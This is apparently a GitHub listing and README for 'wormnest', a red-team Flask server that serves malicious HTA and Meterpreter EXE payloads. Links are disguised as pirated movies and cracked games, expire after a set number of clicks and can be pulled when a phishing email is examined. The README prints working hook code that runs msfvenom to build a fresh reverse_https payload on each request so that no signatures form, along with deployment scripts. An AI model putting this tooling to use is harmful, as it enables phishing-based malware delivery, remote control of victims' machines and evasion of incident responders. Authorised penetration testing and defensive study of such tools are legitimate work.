https://github.com/operatorequals/wormnest
A Web Server to hide stuff
https://github.com/operatorequals/wormnest
flask payload phishing pwndrop python3 url-shortener web
Last synced: 3 days ago
JSON representation
A Web Server to hide stuff
- Host: GitHub
- URL: https://github.com/operatorequals/wormnest
- Owner: operatorequals
- License: mit
- Created: 2018-10-04T00:26:54.000Z (over 6 years ago)
- Default Branch: master
- Last Pushed: 2022-04-29T08:37:58.000Z (almost 3 years ago)
- Last Synced: 2023-08-06T22:05:36.626Z (over 1 year ago)
- Topics: flask, payload, phishing, pwndrop, python3, url-shortener, web
- Language: Python
- Homepage:
- Size: 188 KB
- Stars: 19
- Watchers: 3
- Forks: 8
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-rainmana - operatorequals/wormnest - A Web Server to hide stuff (Python)
README
# wormnest
*A place where worms live and reproduce, but you can't prove it...*A **Python3** Flask / SQL-Alchemy Web Server for *URL Minification* and *Manipulated File Serving*.
Heavily inspired by [@bluscreenofjeff](https://github.com/bluscreenofjeff/) and *Cobalt Strike's Web Server* ([References](https://github.com/operatorequals/wormnest/wiki/References)), a Web Server that does it all!
## Showcase:
### Access the interface with:
```
http://localhost:8000/manage/
```
It's pure HTML, no CSS nonsense, no JS engine has been harmed. No AJAX, no cookies, no hassles. **Just working HTML**.### Usage:
If we need to:
* serve an `HTA` file available at `path/to/some/veryevil.hta`
* through some **custom link**
* with some **filename that is not suspicious**
* that will **expire after 5 downloads**we can issue the following GET request to `wormnest`:
### Add URL Aliases
```php
# Splitting the URL parameters for readability
http://localhost:8000/manage/add?
path=path/to/some/veryevil.hta&
alias=fight_club_xvid_1999.avi&
filename=fight_club_xvid_1999.hta&
clicks=5
# Unsplit:
http://localhost:8000/manage/add?path=path/to/some/veryevil.hta&alias=fight_club_xvid_1999.avi&filename=fight_club_xvid_1999.hta&clicks=5
```
This will create an *alias URL* for the `path/to/some/veryevil.hta`, making the serving as easy as:
```
http://payload-server:8000/fight_club_xvid_1999.avi
```
This will serve a file named "*fight_club_xvid_1999*.**hta**", and will only last *5 clicks*!#### Play it again, Johny Guitar
Let's serve the **same file**, without any expiration, with **a random alias** ([TinyURL](https://tinyurl.com) style), and a "*SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay*.**hta**" filename.
```
http://localhost:8000/manage/add?path=path/to/some/veryevil.hta&filename=SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta
```
This will produce an 8 (by default) character, random ASCII string alias, like `/J3jcrZqd` that will prompt for a `SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta` download, and it will contain (of course) the `veryevil.hta` contents.### Delete URL Aliases
If, for some reason, you need to make the `/fight_club_xvid_1999.avi` unavailable (some phishing email is getting examined?), then a:
```php
http://localhost:8000/manage/del?alias=fight_club_xvid_1999.avi
```
will do! That means that either a `404 Error` or a `302 Redirect` will occur on access to the URL:
```
http://payload-server:8000/fight_club_xvid_1999.avi
```## Hooking the GET like never before *and the `unchecked` flag*
The above work well for static files. But when Penetration Testing, there is the need to serve payloads *that are different from time to time*, just to be sure you *don't generate any signatures* during the assessment.
Well, again, as [@bluscreenofjeff](https://github.com/bluscreenofjeff/) taught in [this blog post](https://bluescreenofjeff.com/2014-04-17-Fresh-Veil-Automatically-Generating-Payloads/), you can generate payloads every some minutes, just in case to be sure that the Incident Response guys will not get what you first served.But what about, generate a new payload in each click?
Meet hooks. Meet the [hooker](https://github.com/satori-ng/hooker).As of `0.3.0`, the directory `hooks/` will contain python *hooks*, that will run when certain GET requests are issued.
Hooks can be imported using the `HOOK_SCRIPTS` environment variable, and have to be separated by colon (`:`), Like ` HOOK_SCRIPTS=hook1.py:hook2.py`.### Hooks:
#### `hooks/os_dependent_serve.py`
This hook reads the request's *User-Agent* and serves a different alias depending on strings found in it.
Supports both *HTTP Redirect* and *Transparent Proxy* mode!*Needs Manual Configuration before launching*
#### `hooks/random_from_directory.py`
This hook serves a random file from within a set directory.#### `hooks/autogen_msf.py`
Proof-of-Concept per-request payload generator. It uses `msfvenom` by breaking to a `system()` shell.
Could work with [EVER](https://github.com/Veil-Framework/Veil-Evasion) [YTH](https://github.com/trustedsec/unicorn) [ING](https://www.shellterproject.com/) (that has non-interactive interface).
Beware that *(time-to-generate) > (TCP-timeout) = True* for some tools...*Needs Manual Configuration before launching*
#### `hooks/req_log_hook.py`
This hook logs a `HTTP-Method User-Agent URL` for each request. Mostly a proof of concept for stats and measurements.### Breaking down the `hooks/autogen_msf.py` hook:
```python
'''
This hook serves a Meterpreter staged Reverse HTTPS
iteration, created with msfvenom for each new visit
of the triggering URL.
'''
import hooker
import subprocess
import tempfileMSFVENOM = "msfvenom" # msfvenom path
C2_HOST = "127.0.0.1" # Returns to localhost: Change this!
C2_PORT = 443# Staged MetHTTPS
PAYLOAD = "windows/meterpreter/reverse_https"# Triggered if the served filename contains the below string:
# Example: rev_https.msf.exe
trigger_filename = '.msf'@hooker.hook("pre_file")
def autogen_msf(filename, request):
if trigger_filename not in filename:
return Noneextension = '.' + filename.split('.')[-1]
fd = tempfile.NamedTemporaryFile('rb', suffix=extension)command = f"{MSFVENOM} -p {PAYLOAD} LHOST={C2_HOST} LPORT={C2_PORT} -f exe -o {fd.name}"
print("[!] '{}'".format(command))
try:
subprocess.run(command, shell=True, check=True)
except subprocess.CalledProcessError:
print(f"Failed to execute command: '{command}'")
return fd
```
Loading it and running is as easy as `HOOK_SCRIPTS=hooks/autogen_msf.py python3 app.py`.
Now, to trigger the hook we need a file with `.msf` in its filename to be aliased. So:
```
http://wormnest:8080/manage/add?path=rev_https.msf.exe&alias=msf
```
But this returns an error, about non-existing `rev_https.msf.exe` file.
That's why `unchecked` exists:
```
http://wormnest:8080/manage/add?path=rev_https.msf.exe&alias=msf&unchecked=true
```
Now `http://wormnest:8080/msf` is accessible, and will return a Meterpreter EXE!
Test it with `wget http://wormnest:8080/msf`!Meterpreter is a little old fashioned?
You can always code your own hooks...----
## Install - Setup - Deploy
---
Install with:
```bash
git clone https://github.com/operatorequals/wormnest/ # stick to a git tag for production
cd wormnest
pip install -r requirements
```Run with:
```bash
$ export [a bunch of Environment Variables] # Skip that for sane defaults (more below)
$
$ python3 app.py
```### The used Environment Variables and the *Sane Defaults*
Go to the [Project's Wiki Page](https://github.com/operatorequals/wormnest/wiki/Deployment)
### For *Cobalt Strikers*
Generating payloads from the CS client directly to the (remote) *Worm Nest* deployment is as simple as [`sshfs`](https://github.com/libfuse/sshfs) to that served directory (`SRV_DIR`). People tend to forget that `scp` is by far NOT THE ONLY WAY!A simple:
```bash
mkdir -p ~/cs_payloads
sshfs user@payloadserver:/place/where/wormnest/SRV_DIR/points ~/cs_payloads
```
and then you can drop *artifacts* in `cs_payloads` directory and list them under `http://payloadserver:8000/manage/list`, ready for aliasing and serving!## A Simple Deployment Scenario
##### wormnest.sh
```bash
#!/bin/bash# Generate a big and random Management URI
# Bash-Fu taken from https://unix.stackexchange.com/questions/230673/how-to-generate-a-random-string
export MANAGE_URL_DIR="$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '')"
echo "$MANAGE_URL_DIR" > $HOME/wormnest_management.keyexport REDIRECT_URL="https://google.com"
export DEFAULT_FILENAME="SpotifyFree_premium_crack" # No file extension here if USE_ORIGINAL_EXTENSION is set!apt update && apt install -y python3 git # Let's assume Debian
git clone https://github.com/operatorequals/wormnest -b --depth 1 # depth 1 for copying just the tagged commit
cd wormnest
pip3 install -r requirements.txt
echo '{
"download_now":{
"path":"metasploit/generated/meter_pinning_443.exe",
"filename":"CrazyTaxi_cracked_singlefile_by_Raz0r_team_2006.exe"
},
}' > basic_routes.json
export DEFAULT_PATHS_FILE="basic_routes.json"mkdir -p ~/generated_payloads/
export SRV_DIR="$HOME/generated_payloads"python3 app.py
```
##### wormnest_start.sh
```bash
#!/bin/bash
tmux new -s wormnest -d 'bash wormnest.sh'
```
Having in mind mass-deployment environments (looking at you [Red Baron](https://github.com/Coalfire-Research/Red-Baron)), such scripts come in handy. In the `terraform` case, a `remote-exec` provisioner can replace the need for `wormnest_start.sh`.## Securing your *Worm Nest*!
There is **no authentication** for the management endpoint of this service. This effectively means that anyone going under the `/manage/` directory will be able to *see, add, delete all* URL aliases, and *list the whole served directory*.Yet, adding authentication, is (at least at this point) out of scope. That's why the `MANAGE_URL_DIR` exists in the first place. A *passwordish* string here will prevent anyone (not able to guess it) to reach the management endpoint. A password in the URL sucks (I now), but combined with some HTTPS (needed in case of actual use), and with no Intercepting HTTP Proxy between your host and the *Worm Nest* deployment you'll be good enough!
Or even hiding the whole `wormnest` behind an *Apache mod_rewrite proxy* would also work (and add the desired SSL, while redirecting away the `/manage/` attempts).
Have Fun!